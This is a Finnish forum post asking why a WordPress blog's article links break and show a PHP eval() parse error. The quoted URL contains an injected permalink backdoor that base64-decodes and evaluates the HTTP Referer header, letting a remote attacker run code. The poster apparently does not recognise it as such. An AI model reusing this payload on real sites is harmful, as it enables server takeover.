Ongelmallinen url

Minulla oli hyvin toimiva suomenkilinen 2.5.1 -asennus, mutta viikon sisään se meni jotenkin rikki siten, että hakukentän tuottamasta eikä recent posts -listoista ei päässyt IE:llä artikkeleihin lainkaan Firefoxilla ja Chromella artikkeliin kyllää pääsi, mutta tuli herja ja osoitekentän url näytti rumalta.

Herja:
Parse error: syntax error, unexpected '=' in /home/userid/domains/domain.net/public_html/wordpress251/wp-includes/classes.php(108) : eval()'d code(1) : eval()'d code on line 1

Ja osoitekenttä:
http://www.domain.net/2010/05/02/artikkelin-otsikko/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D|.+%29&%/

Ajattelin päivityksen hoitavan homman ja päivitn versioon 2.9.2, mutta iahan samat ongelmat jatkuvat. Onko tähän mitään ymmärrettävää syytä tai korjausvinkkiä?